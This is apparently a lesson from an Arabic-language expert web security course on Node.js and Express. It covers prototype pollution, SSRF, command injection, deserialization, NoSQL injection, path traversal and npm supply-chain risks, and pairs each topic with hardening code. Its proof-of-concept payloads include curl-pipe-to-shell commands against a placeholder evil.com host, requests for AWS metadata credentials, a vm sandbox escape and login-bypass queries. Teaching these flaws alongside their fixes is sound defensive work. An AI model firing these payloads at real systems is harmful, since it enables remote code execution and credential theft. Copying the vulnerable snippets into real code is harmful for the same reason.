Node.js & Express Security — من جوّه
Prototype pollution و SSRF و deserialization و RCE في الـ middleware
- المستوى
- خبير
- المدة
- 110m
- الترتيب
- الدرس 28 من 85
ليه Node.js مختلف عن PHP/Java أمنياً؟
إنت كاتب تطبيق Node. نفس الـ logic لو كاتبه في Java، آمن.
- طب يعني نفس الكود؟ مش معقول!
متوقّع يا مستجد. آه نفس الكود. السبب؟ JavaScript مش زي Java.
Prototype Pollution — أم الثغرات في Node
كل object في JS بيورّث من Object.prototype. المهاجم لو قدر يكتب property على الـ prototype ده، الـ property بتطلع على كل object في الـ process. النتايج بتتدرّج من DoS لحد RCE.
// كود ضعيف — merge عميق ساذج (مثل lodash.merge قبل الإصلاح)
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// المهاجم يرسل JSON
app.post('/api/profile', (req, res) => {
merge({}, req.body); // <-- !!
res.send('ok');
});
// payload
{
"__proto__": {
"isAdmin": true,
"shell": "/bin/sh -c 'curl evil.com|bash'"
}
}
// بعد هذا، {} في أي مكان في التطبيق يحوي isAdmin === true// CVE-2019-10744 (lodash) — مثال PoC للـ RCE عبر pug
fetch('/api/profile', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
"__proto__": {
"block": {
"type": "Text",
"line": "process.mainModule.require('child_process').exec('curl evil.com/x.sh|sh')"
}
}
})
});SSRF عبر axios / node-fetch / undici
طلب HTTP من السيرفر لـ URL متحكّم فيه user = SSRF. وفي Node فيه فخّين: redirect handling تلقائي + DNS rebinding، الاتنين بيوصلوا cloud metadata.
// كود خطر
app.get('/fetch-image', async (req, res) => {
const r = await axios.get(req.query.url, {responseType: 'stream'});
r.data.pipe(res);
});
// PoC للوصول لـ AWS IMDS من خلال عدم فحص hostname
GET /fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
// أو DNS rebinding — يخدم 1.1.1.1 ثم يتغيّر للـ 169.254.169.254
GET /fetch-image?url=http://rebind.evil.com/latest/...
// أو URL parser confusion (Node URL vs WHATWG URL)
GET /fetch-image?url=http://attacker.com#@169.254.169.254/// الحماية — allowlist + IP literal check + DNS resolve يدوي
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';
async function safeFetch(url) {
const u = new URL(url);
if (!['http:', 'https:'].includes(u.protocol)) throw new Error('proto');
const addrs = await dns.resolve(u.hostname);
for (const a of addrs) {
const range = ipaddr.parse(a).range();
if (range !== 'unicast') throw new Error('private/special IP');
if (a.startsWith('169.254.') || a.startsWith('127.') || a.startsWith('10.')) throw new Error('blocked');
}
// Pin DNS — احكم على الـ IP و مرّره مباشرة
return axios.get(url, { lookup: (h, opts, cb) => cb(null, addrs[0], 4) });
}Command Injection عبر child_process
// خطر — exec مع user input
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec(`ping -c 4 ${req.query.host}`, (err, out) => res.send(out));
});
// PoC
GET /ping?host=8.8.8.8;curl%20evil.com/x.sh|sh
// أيضاً خطر — execFile مع shell:true
execFile('sh', ['-c', `echo ${req.query.x}`]); // injection
// آمن — execFile بدون shell + arguments array
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', '--', host], (err, out) => ...);
// لاحظ '--' لمنع flag injectionDeserialization عبر JSON و serialize-javascript
JSON.parse آمن. بس مكتبات تانية بتنفّذ كود فعلاً:
- node-serialize — unserialize() بيقبل markers زي _$$ND_FUNC$$_ وبينفّذ JS. متهجور بس لسه موجود في أنظمة كتير.
- js-yaml — yaml.load() القديم بيدعم !!js/function. استخدم yaml.safeLoad أو load(s, {schema: FAILSAFE_SCHEMA}).
- serialize-javascript CVE-2020-7660 — XSS من regex.
- vm module — مش sandbox. this.constructor.constructor("return process")() بيهرب منه.
// node-serialize PoC
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', (e,o)=>console.log(o))}()"}
// vm escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()`, sandbox);
// → uid=0(root)
// آمن — استخدم isolated-vm إن احتجت sandbox فعلي
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({memoryLimit: 8});NoSQL Injection — MongoDB
// خطر — body parsed يحوي operators
app.post('/login', async (req, res) => {
const user = await User.findOne({ name: req.body.name, pass: req.body.pass });
if (user) res.send('ok');
});
// المهاجم يرسل JSON
{"name": "admin", "pass": {"$ne": null}}
// $ne null = أي pass != null = bypass
// أخطر
{"name": {"$gt": ""}, "pass": {"$gt": ""}} // أول user
// JS injection في $where
{"$where": "this.name == 'admin' && sleep(5000)"} // blind oracle
// الحماية
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize({ replaceWith: '_' }));
// أو schema strict
const user = await User.findOne({
name: String(req.body.name),
pass: String(req.body.pass)
});Path Traversal و File Disclosure
// خطر
app.get('/files/:name', (req, res) => {
res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});
// PoC
GET /files/..%2f..%2f..%2fetc%2fpasswd
GET /files/..%252f..%252f # double-encode إذا كان هناك decode مرتين
// عبر symlinks
GET /files/symlink_to_root
// الحماية
const safe = path.normalize(req.params.name).replace(/^(\.\.[\/\\])+/, '');
const full = path.join(__dirname, 'uploads', safe);
if (!full.startsWith(path.resolve(__dirname, 'uploads') + path.sep)) {
return res.status(403).end();
}
// + fs.realpath لكشف symlinks
const real = await fs.promises.realpath(full);
if (!real.startsWith(uploadsRoot)) return res.status(403).end();Express-specific traps
- express.static + viewEngine — لو الـ static prefix بيوصل لمجلد الـ templates، فيه تلاعب ممكن.
- req.query parsing — Express بيستخدم qs اللي بيدعم arrays و nested objects: ?a[]=1&a[]=2. كود بيفترض string هيتكسر.
- HPP (HTTP Parameter Pollution) — ?id=1&id=2 بيبقى array. استخدم middleware hpp.
- Trust proxy misconfig — app.set('trust proxy', true) الكامل بيخلّي المهاجم يزوّر X-Forwarded-For ويعدّي rate limits / IP allowlists.
- Open redirect — res.redirect(req.query.next) من غير فحص. قفّل على paths نسبية بس.
- Body size — مفيش حد افتراضي على JSON body كبير في بعض الإعدادات. حط express.json({ limit: '100kb' }).
Supply chain — npm كسلاح
- Typosquatting — expresss, colorss, crossenv.
- Dependency confusion — حزمة عامة بنفس اسم حزمة داخلية عندك.
- Compromised maintainer — event-stream (2018), ua-parser-js (2021), node-ipc (2022 protestware).
- postinstall scripts — بتشتغل لوحدها مع npm install. خصوصاً على CI.
# الحماية
npm config set ignore-scripts true # امنع postinstall افتراضياً
npm install --ignore-scripts <pkg>
npm audit && npm audit fix
npm ls --all # شجرة كاملة
npx better-npm-audit # تجاهل CVEs بـ justification
# Lockfile lint
npx lockfile-lint --type npm --path package-lock.json \
--validate-https --allowed-hosts npm
# Socket.dev / Snyk / GitHub Dependabot
# Sigstore + npm provenance — توقيع الحزم رسمياً (npm publish --provenance)تحصين Express — قائمة عملية
import express from 'express';
import helmet from 'helmet';
import rateLimit from 'express-rate-limit';
import mongoSanitize from 'express-mongo-sanitize';
import hpp from 'hpp';
const app = express();
app.disable('x-powered-by'); // لا تكشف Express
app.set('trust proxy', 1); // فقط reverse proxy واحد
app.use(helmet()); // CSP/HSTS/XSS-Protection
app.use(express.json({ limit: '100kb' }));
app.use(mongoSanitize({ replaceWith: '_' }));
app.use(hpp());
app.use(rateLimit({ windowMs: 60_000, max: 100 }));
// CSP صارم
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{{nonce}}'"], // لا 'unsafe-inline'
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: []
}
}));
// Cookie آمنة
app.use(session({
secret: process.env.SECRET,
cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));أدوات الفحص
- npm audit / pnpm audit — أول خط دفاع.
- Semgrep مع ruleset p/javascript و p/nodejs — بيصطاد eval, child_process, prototype pollution sinks.
- CodeQL — تحليل أعمق، فيه query suite كامل للـ JS.
- NodeJsScan — فحص ثابت سريع.
- Burp Suite + extension prototype-pollution-finder.
- OWASP ZAP + active scanner للـ NoSQLi.
غلطات الـ junior في Node
الخلاصة الناشفة
Node سريع وحلو. وبيدّيك مساحة تغلط 1000 غلطة قبل ما تخش production.
اكتبها على ظهر إيدك:
الفرق بين Node آمن و Node مكشوف = 5 packages: helmet، express-rate-limit، joi/zod، express-mongo-sanitize، و npm audit في الـ CI.
اللي مش بيستخدمهم؟ بيختبر الـ exploits على إنتاجه. وأنت ونصيبك.
علّمه علشان تفضل عارف انت فين على السكة.